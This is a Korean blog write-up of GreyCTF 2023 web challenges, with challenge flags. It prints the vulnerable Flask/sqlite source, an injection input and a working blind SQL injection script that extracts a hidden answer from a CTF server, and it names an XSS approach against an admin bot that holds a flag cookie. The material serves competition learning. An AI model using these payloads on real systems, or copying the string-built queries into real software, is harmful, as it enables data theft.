[CTF] GreyCTF'23 write up
2023. 5. 22. 19:59ㆍ정보보안/CTFLOG
반응형
warm up 문제이다.
f12후에 source에 2개로 나뉘어 있었다.
grey{St3p_1_of_b4by_W3b}
해당 문제의 파일을 다운 받아보면
from flask import Flask, render_template, request
import sqlite3
app = Flask(__name__)
@app.route("/", methods=["GET"])
def index():
qn_id, ans= request.args.get("qn_id", default="1"), request.args.get("ans", default="")
# id check, i don't want anyone to pollute the inputs >:(
if not (qn_id and qn_id.isdigit() and int(qn_id) >= 1 and int(qn_id) <= 100):
# invalid!!!!!
qn_id = 1
# get question
db = sqlite3.connect("database.db")
cursor = db.execute(f"SELECT Question FROM QNA WHERE ID = {qn_id}")
qn = cursor.fetchone()[0]
# check answer
cursor = db.execute(f"SELECT * FROM QNA WHERE ID = {qn_id} AND Answer = '{ans}'")
result = cursor.fetchall()
correct = True if result != [] else False
return render_template("index.html", qn_id=qn_id, qn=qn, ans=ans, correct=correct)
if __name__ == "__main__":
app.run()
언뜻 봐선 파일에 이 코드가 있는데 일단 100개의 질문에 일치하는 답을 풀어야 flag를 얻을 수 있어보인다.
하지만 sqlite3를 사용하고 폴더에 db파일도 제공하고 있다.
따라서 sql injection 문제라고 생각했고, ans에 1=1' or 1 # 를 넣어서 100번까지 풀어본 결과 문제 번호가 100이 초과되면
다시 1번 문제로 돌아왔다.
이후 제공 된 db파일을 열어서 확인해 보았다.
42번 문제의 answer컬럼에서 값이 지워진채로 제공되어졌다.
따라서 42번에서 blind sql injection을 수행했다.
import requests
url = 'http://34.126.139.50:10514/'
flag = ""
characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{/}_!@#$%^&*()`~;:"
num = 1
while True:
for i in characters:
payload = ("?qn_id=42&ans=1' union select 1,2,3 from QNA where substr((select Answer from QNA where id = 42),{},1)='{}'--").format(num,i)
res = requests.get(url + payload)
#print(res.text,payload)
if "Correct!" in res.text:
flag += i
num += 1
print(flag)
print("Flag:", flag)
grey{1_c4N7_533}
from flask import Flask, request, render_template, redirect, flash
from adminbot import visit
from urllib.parse import quote
app = Flask(__name__)
BASE_URL = "http://localhost:5000/"
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == "GET":
return render_template('index.html')
message = request.form.get('message')
if len(message) == 0:
flash("Please enter a message")
return render_template('index.html')
link = f"/ticket?message={quote(message)}"
# Admin vists the link here
visit(BASE_URL, f"{BASE_URL}{link}")
return redirect(link)
@app.route('/ticket', methods=['GET'])
def ticket_display():
message = request.args.get('message')
return render_template('ticket.html', message=message)
우리가 메세지를 작성하고 버튼을 클릭하면
from selenium import webdriver
from constants import COOKIE
import multiprocessing
from webdriver_manager.chrome import ChromeDriverManager
options = webdriver.ChromeOptions()
options.add_argument("--headless")
options.add_argument("--incognito")
options.add_argument("--disable-dev-shm-usage")
options.add_argument("--no-sandbox")
def visit(baseUrl: str, link: str) -> str:
"""Visit the website"""
p = multiprocessing.Process(target=_visit, args=(baseUrl, link))
p.start()
return f"Visiting {link}"
def _visit(baseUrl:str, link: str) -> str:
"""Visit the website"""
with webdriver.Chrome(ChromeDriverManager().install(), options=options) as driver:
try:
driver.get(f'{baseUrl}/')
cookie = {"name": "flag", "value": COOKIE["flag"]}
driver.add_cookie(cookie)
driver.get(link)
return f"Visited {link}"
except:
return f"Connection Error: {link}"
이 admin.py 코드에서 admin봇이 글을 확인하는 것을 알수가 있다.
따라서 xss로 해결하였다.
grey{b4by_x55_347cbd01cbc74d13054b20f55ea6a42c}
반응형
'정보보안 > CTFLOG' 카테고리의 다른 글
[CTF] SECCON Beginners 2023 (0) | 2023.06.04 |
---|---|
[CTF] DEFCON31 Quals (0) | 2023.05.29 |
[CTF] LINE CTF 2023 - old pal (0) | 2023.03.26 |
[CTF] LINE CTF 2023 - baby simple go url (0) | 2023.03.26 |
[CTF] B01ler_ctf - voidciphr (0) | 2023.03.20 |